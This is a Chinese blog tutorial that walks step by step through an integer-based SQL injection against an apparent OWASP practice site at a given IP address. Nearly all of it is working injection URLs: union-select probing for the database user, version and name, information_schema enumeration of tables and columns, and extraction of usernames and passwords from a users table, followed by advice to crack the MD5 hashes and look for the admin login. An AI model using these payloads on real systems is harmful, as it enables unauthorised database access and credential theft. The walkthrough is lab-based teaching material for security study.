欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]SQL注入获取用户名密码过程-integer型注入

[原创]SQL注入获取用户名密码过程-integer型注入

这个也是OWASP放出来的一个web安全学习平台,PHP+MySQL,主要有SQL注入练习及简单绕过

地址:http://43.247.91.228:83/

1、找测试注入点

http://43.247.91.228:83/content-1/index.php?id=0

2、测试加 ' 号,页面返回错误(可能存在注入点)

?

3、确认是否存在注入点

http://43.247.91.228:83/content-1/index.php?id=0 and 1=1 页面返回正常

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 页面返回错误

证明存在注入点

4、查询当前表有多少列,用order by测试,切换数字,直到不出错为止,测试结果为

http://43.247.91.228:83/content-1/index.php?id=0  order by 8

5、测试哪列数据有回显(1,2,3列都可以显示)

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,2,3,4,5,6,7,8

?

5、查询数据库相关信息

查询当前用户权限 http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,user(),3,4,5,6,7,8

?

查询当前数据库版本 http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,version(),3,4,5,6,7,8

注:这里根据数据库版本可以选择应对策略

?

查询当前数据库名称  http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,database(),3,4,5,6,7,8

?

6、查询inject数据库里的表名(将表名'inject'进行ANSI编码结果为%27%69%6E%6A%65%63%74%27)测试结果表名为users


http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema = %27%69%6E%6A%65%63%74%27


注:这里可以使用 limit a,1 测试有多少个表,a表示表里的第几行(这里测试只有一个users表),mysql数据库自带一个information_schema数据库,这个数据库里包含其他数据库的表名和字段名,可以根据这个查询当前数据库的表名

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema = %27%69%6E%6A%65%63%74%27 limit 0,1 --

?

7、查询users表里的字段名(将表名'users'进行ANSI编码结果为%27%75%73%65%72%73%27)

users表的字段名分别为 idusers,name,email,password,ua,ref,host,lang

注:这里使用limit a,1 测试有多少个字段,变化a的值0,1,2....7,网址最后要加上注释符  --

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,column_name,3 ,4,5,6,7,8 from information_schema.columns where table_name = %27%75%73%65%72%73%27 limit 0,1--

?

8、查询字段里的内容

在这里已经知道当前数据库是inject,有users表,表里有 idusers,name,email,password,ua,ref,host,lang 8个字段,这时可以使用,1,2,3来显示需要查看的字段内容,这里演示,name,password,host

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select name, password,host,4,5,6,7,8 from users limit 0,1--

注:这里使用limit a,1 测试有多少个字段,变化a的值0,1,2....直到出错为止,就可以遍历出所有用户,网址最后要加上注释符  --

这里是密码是明码的用户

?

这里是密码是hash值的用户,登录MD5网站解密即可

?

解密结果

?

9、到这里找寻用户名,密码已经结束,找寻后台登录即可




注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功